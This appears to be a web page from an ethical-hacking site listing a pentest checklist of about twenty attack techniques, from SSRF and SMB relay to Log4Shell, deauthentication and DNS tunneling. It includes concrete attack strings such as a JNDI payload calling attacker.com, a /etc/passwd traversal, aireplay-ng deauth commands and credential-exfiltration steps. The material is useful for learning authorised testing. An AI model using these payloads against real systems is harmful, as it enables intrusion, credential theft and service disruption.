Ethical Hackers Den

Hack ATK Checklist

Pentest Field Guide

Subdomain Takeover [+]
  1. Identify dangling DNS records (e.g., CNAME pointing to dead service).
  2. Register the expired external service (e.g., GitHub Pages/S3).
  3. Claim the subdomain through the service dashboard.
  4. Host malicious content to verify control.
SSRF (Server-Side Request Forgery) [+]
  1. Find features that fetch remote URLs (e.g., webhooks, thumbnailers).
  2. Attempt to request internal metadata services (e.g., 169.254.169.254).
  3. Bypass filters using IP encoding or DNS redirection.
  4. Exfiltrate internal cloud credentials.
XXE (XML External Entity) [+]
  1. Identify XML input parsing.
  2. Inject DOCTYPE and ENTITY tags.
  3. Point entity to local file (e.g., /etc/passwd).
  4. Observe response for file content.
SMB Relay [+]
  1. Disable SMB signing on target network.
  2. Use Responder to capture NTLM hashes.
  3. Use ntlmrelayx to relay credentials to another host.
  4. Access the target host with hijacked session.
Directory Traversal [+]
  1. Find URL parameters loading files.
  2. Test with ../../../../etc/passwd.
  3. Check for URL encoding bypasses (%2e%2e%2f).
  4. Access unauthorized system files.
Log4Shell (JNDI Injection) [+]
  1. Find application logging user input.
  2. Inject JNDI string: ${jndi:ldap://attacker.com/a}.
  3. Observe callback on your LDAP server.
  4. Deliver malicious class file via RCE.
Password Spraying [+]
  1. Collect list of usernames.
  2. Choose one common password (e.g., Summer2026!).
  3. Attempt login across all accounts.
  4. Avoid account lockouts by slowing the rate.
Wi-Fi Deauthentication [+]
  1. Put wireless card in monitor mode: airmon-ng start wlan0.
  2. Identify target BSSID.
  3. Send deauth packets: aireplay-ng -0 10 -a [BSSID] wlan0mon.
  4. Force client to disconnect/reconnect for handshake capture.
CSRF (Cross-Site Request Forgery) [+]
  1. Identify state-changing requests (e.g., change email, delete account).
  2. Check for missing CSRF tokens.
  3. Create HTML form triggering the request.
  4. Trick authenticated user into opening the link.
Race Condition [+]
  1. Find endpoints processing high-frequency requests.
  2. Use Burp Turbo Intruder to send requests in parallel.
  3. Look for inconsistencies (e.g., double withdrawal of funds).
  4. Confirm logic flaw.
Ransomware Simulation [+]
  1. Map internal file shares.
  2. Create scripts to simulate recursive encryption on test data.
  3. Check EDR/AV response time.
  4. Identify unbacked-up directories.
USB Rubber Ducky / HID [+]
  1. Program payload on HID device (DuckyScript).
  2. Insert into unlocked workstation.
  3. Observe command execution.
  4. Capture shell access.
Buffer Overflow [+]
  1. Identify C/C++ apps taking user input.
  2. Send long strings (fuzzing) to crash the process.
  3. Examine stack pointer via GDB.
  4. Inject shellcode into the return address.
Session Hijacking [+]
  1. Intercept victim traffic (MitM).
  2. Extract session cookies/tokens.
  3. Import token into your browser.
  4. Refresh to become the authenticated user.
DNS Tunneling [+]
  1. Setup authoritative name server.
  2. Encode data into DNS queries (data.attacker.com).
  3. Listen for queries on your server.
  4. Decapsulate data to retrieve exfiltrated info.
Open Redirect [+]
  1. Find URL param that redirects users (e.g., ?next=/dashboard).
  2. Inject external URL: ?next=https://malicious.com.
  3. Verify if user is redirected after login.
  4. Use for phishing campaigns.
API Key Leakage [+]
  1. Scan public GitHub repositories for company name.
  2. Search for patterns (e.g., AIzaSy..., SK...).
  3. Validate key against service API.
  4. Report or test impact.
Host Header Injection [+]
  1. Capture request in Burp Suite.
  2. Modify Host header to point to attacker server.
  3. Observe if password reset emails use this header.
  4. Redirect user traffic to malicious site.
Clickjacking [+]
  1. Create an invisible iframe over a legitimate button.
  2. Style the page to lure users to click.
  3. Force user to execute action (e.g., change password).
  4. Check for X-Frame-Options headers.
Default Credential Audit [+]
  1. Perform network discovery (Nmap/Masscan).
  2. Identify management ports (8080, 22, 3389).
  3. Use nmap --script http-default-accounts.
  4. Attempt login with vendor defaults.
[ SYSTEM STATUS: ONLINE ] | [ LOCATION: DEN MAINFRAME ] | [ ENCRYPTION: AES-256-GCM ] | [ CURRENT USER: ROOT@ETHICALHACKERSDEN ] | [ NETWORK: SECURE ]
GITHUB DISCORD FEED


X

JOIN THE NETWORK OPRATIVE!

SYNC WITH ETHICAL HACKERS DEN